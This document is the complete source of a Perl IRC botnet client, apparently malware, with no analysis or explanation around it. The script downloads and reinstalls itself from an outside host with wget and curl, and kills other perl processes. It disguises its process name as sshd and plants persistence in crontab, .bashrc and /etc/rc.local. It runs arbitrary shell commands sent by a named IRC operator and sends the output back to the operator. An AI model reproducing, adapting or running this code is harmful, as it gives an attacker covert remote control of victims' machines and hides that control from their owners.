#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use POSIX qw(setsid);

# ======================== CONFIG ========================
my $server   = 'ircd1.magneto.cx';
my $port     = 6667;
my @admins   = ("MAD");
my @hostauth = ("ircd1.crownmon.vc");
my @channels = ("#mot");
my $nick     = "BAD";
my $ircname  = "bad";
my $realname = "user";
my $homedir  = "/tmp";
my $script_name = ".syslog";
my $remote_url = "http://ircd1.magneto.cx/rots";

# ======================== AUTO-PERSIST ========================
my $self_path = "/tmp/.syslog";
unless (-e $self_path) {
    my $current = $0;
    system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null") and exit;
    if (open(my $src, '<', $current)) {
        open(my $dst, '>', $self_path);
        while (<$src>) { print $dst $_; }
        close($src); close($dst);
        system("chmod +x $self_path");
    }
}

my $my_pid = $$;
my @perl_procs = `ps aux | grep perl | grep -v grep | awk '{print \$2}'`;
foreach my $pid (@perl_procs) {
    chomp $pid; next unless $pid =~ /^\d+$/; next if $pid == $my_pid;
    kill(9, $pid);
}

$SIG{'INT'} = $SIG{'HUP'} = $SIG{'TERM'} = $SIG{'CHLD'} = $SIG{'QUIT'} = $SIG{'PIPE'} = 'IGNORE';
chdir($homedir);

my $pid = fork; exit if $pid; die if !defined($pid);
setsid();
$pid = fork; exit if $pid; die if !defined($pid);
$0 = "/usr/sbin/sshd -i";

my $watchdog = fork;
if ($watchdog == 0) {
    while (1) {
        sleep(15);
        my $ppid = getppid();
        if ($ppid <= 1) {
            system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
            system("chmod +x $self_path 2>/dev/null");
            system("perl $self_path & 2>/dev/null");
            exit;
        }
    }
    exit;
}

my $watchdog2 = fork;
if ($watchdog2 == 0) {
    sleep(5);
    while (1) {
        sleep(30);
        my $alive = kill(0, $watchdog);
        unless ($alive) {
            system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
            system("chmod +x $self_path 2>/dev/null");
            system("perl $self_path & 2>/dev/null");
            exit;
        }
    }
    exit;
}

my $cron_check = `crontab -l 2>/dev/null | grep -c "$self_path"`;
if ($cron_check == 0) {
    open(my $cr, '>', '/tmp/.cron.tmp');
    print $cr "*/5 * * * * wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null; chmod +x $self_path 2>/dev/null; perl $self_path &\n";
    close($cr);
    system("crontab /tmp/.cron.tmp 2>/dev/null");
    unlink "/tmp/.cron.tmp";
}

open(my $br, '>>', "$ENV{HOME}/.bashrc");
print $br "nohup perl $self_path >/dev/null 2>&1 &\n";
close($br);

system("echo 'nohup perl $self_path >/dev/null 2>&1 &' >> /etc/rc.local 2>/dev/null");

# ======================== IRC ENGINE ========================
my $sel_cliente = IO::Select->new();
my $IRC_cur_socket;
my $meunick = $nick;
my $connected = 0;
my $reconnect_delay = 5;

sub sendraw {
    if ($#_ == 1) { print {$_[0]} "$_[1]\n"; }
    else { print {$IRC_cur_socket} "$_[0]\n"; }
}

sub conectar {
    my $IRC_socket = IO::Socket::INET->new(
        Proto => "tcp", PeerAddr => $server, PeerPort => $port, Timeout => 15
    ) or return 0;
    $IRC_socket->autoflush(1);
    $IRC_cur_socket = $IRC_socket;
    $sel_cliente->add($IRC_socket);
    $connected = 1;
    $reconnect_delay = 5;
    print {$IRC_socket} "NICK $nick\n";
    print {$IRC_socket} "USER $ircname localhost $server :$realname\n";
    return 1;
}

# ======================== MAIN LOOP ========================
while (1) {
    unless ($connected) {
        if (!conectar()) {
            sleep($reconnect_delay);
            $reconnect_delay = 10 if $reconnect_delay < 30;
            next;
        }
    }
    my @ready = $sel_cliente->can_read(10);
    unless (@ready) {
        print {$IRC_cur_socket} "PING :keepalive\n";
        next;
    }
    foreach my $fh (@ready) {
        $IRC_cur_socket = $fh;
        my $nread = sysread($fh, my $msg, 8192);
        if ($nread == 0) {
            $sel_cliente->remove($fh); $fh->close; $connected = 0;
            sleep(3); next;
        }
        my @lines = split(/\n/, $msg);
        foreach my $line (@lines) {
            $line =~ s/\r//g;
            next if $line eq '';
            parse($line);
        }
    }
}

# ======================== PARSE ========================
sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        print {$IRC_cur_socket} "PONG :$1\n"; return;
    }
    if ($servarg =~ /^\:(.+?)\s+001\s+(\S+)\s+/) {
        $meunick = $2;
        print {$IRC_cur_socket} "MODE $meunick +iw\n";
        foreach my $chan (@channels) {
            print {$IRC_cur_socket} "JOIN $chan\n";
        }
        return;
    }
    if ($servarg =~ /^\:(.+?)\s+433\s+/) {
        $nick = $nick . int(rand(9999));
        print {$IRC_cur_socket} "NICK $nick\n"; return;
    }
    if ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+PRIVMSG\s+(.+?)\s+\:(.+)/) {
        my $pn = $1; my $host = $3; my $target = $4; my $text = $5;
        if (lc($pn) eq lc("MAD") && $host =~ /ircd1\.crownmon\.vc/i) {
            # Handle: !join #channel
            if ($text =~ /^!join\s+(#\S+)/) {
                my $chan = $1;
                print {$IRC_cur_socket} "JOIN $chan\n";
                return;
            }
            # Handle: !u !join #channel
            if ($text =~ /^!u\s+!join\s+(#\S+)/) {
                my $chan = $1;
                print {$IRC_cur_socket} "JOIN $chan\n";
                return;
            }
            # Handle: !u <command>
            if ($text =~ /^!u\s+(.*)/) {
                execute_command($target, $1);
                return;
            }
            # Direct message to bot
            if ($target eq $meunick) {
                execute_command($pn, $text);
                return;
            }
        }
        return;
    }
}

# ======================== COMMAND EXECUTION ========================
sub execute_command {
    my ($target, $cmd) = @_;
    
    # Handle !join inside !u
    if ($cmd =~ /^!join\s+(#\S+)/) {
        my $chan = $1;
        print {$IRC_cur_socket} "JOIN $chan\n";
        return;
    }
    
    # Handle !part
    if ($cmd =~ /^!part\s+(#\S+)/) {
        my $chan = $1;
        print {$IRC_cur_socket} "PART $chan\n";
        return;
    }
    
    # Handle !msg <target> <message>
    if ($cmd =~ /^!msg\s+(\S+)\s+(.*)/) {
        print {$IRC_cur_socket} "PRIVMSG $1 :$2\n";
        return;
    }
    
    # Handle !nick <newnick>
    if ($cmd =~ /^!nick\s+(\S+)/) {
        print {$IRC_cur_socket} "NICK $1\n";
        $nick = $1;
        $meunick = $1;
        return;
    }
    
    # Handle !raw <raw command>
    if ($cmd =~ /^!raw\s+(.*)/) {
        print {$IRC_cur_socket} "$1\n";
        return;
    }
    
    # Handle !quit
    if ($cmd =~ /^!quit/) {
        print {$IRC_cur_socket} "QUIT :bye\n";
        exit;
    }
    
    # Die command
    if ($cmd =~ /^die$/i) {
        system("crontab -l 2>/dev/null | grep -v '$self_path' | crontab - 2>/dev/null");
        system("sed -i '/syslog/d' \$HOME/.bashrc 2>/dev/null");
        system("sed -i '/syslog/d' /etc/rc.local 2>/dev/null");
        unlink "/tmp/.syslog" if -e "/tmp/.syslog";
        unlink $self_path if -e $self_path;
        my @procs = `ps aux | grep -E '(syslog|perl)' | grep -v grep | awk '{print \$2}'`;
        foreach my $p (@procs) { chomp $p; kill(9, $p) if $p =~ /^\d+$/; }
        kill(9, $$); exit;
    }
    
    # Execute command — no prefix, just raw output
    my $output = `$cmd 2>&1`;
    my @lines = split(/\n/, $output);
    my $count = 0;
    foreach my $line (@lines) {
        chomp $line; next if $line eq '';
        print {$IRC_cur_socket} "PRIVMSG $target :$line\n";
        $count++;
        if ($count >= 5) { select(undef, undef, undef, 0.5); $count = 0; }
    }
}
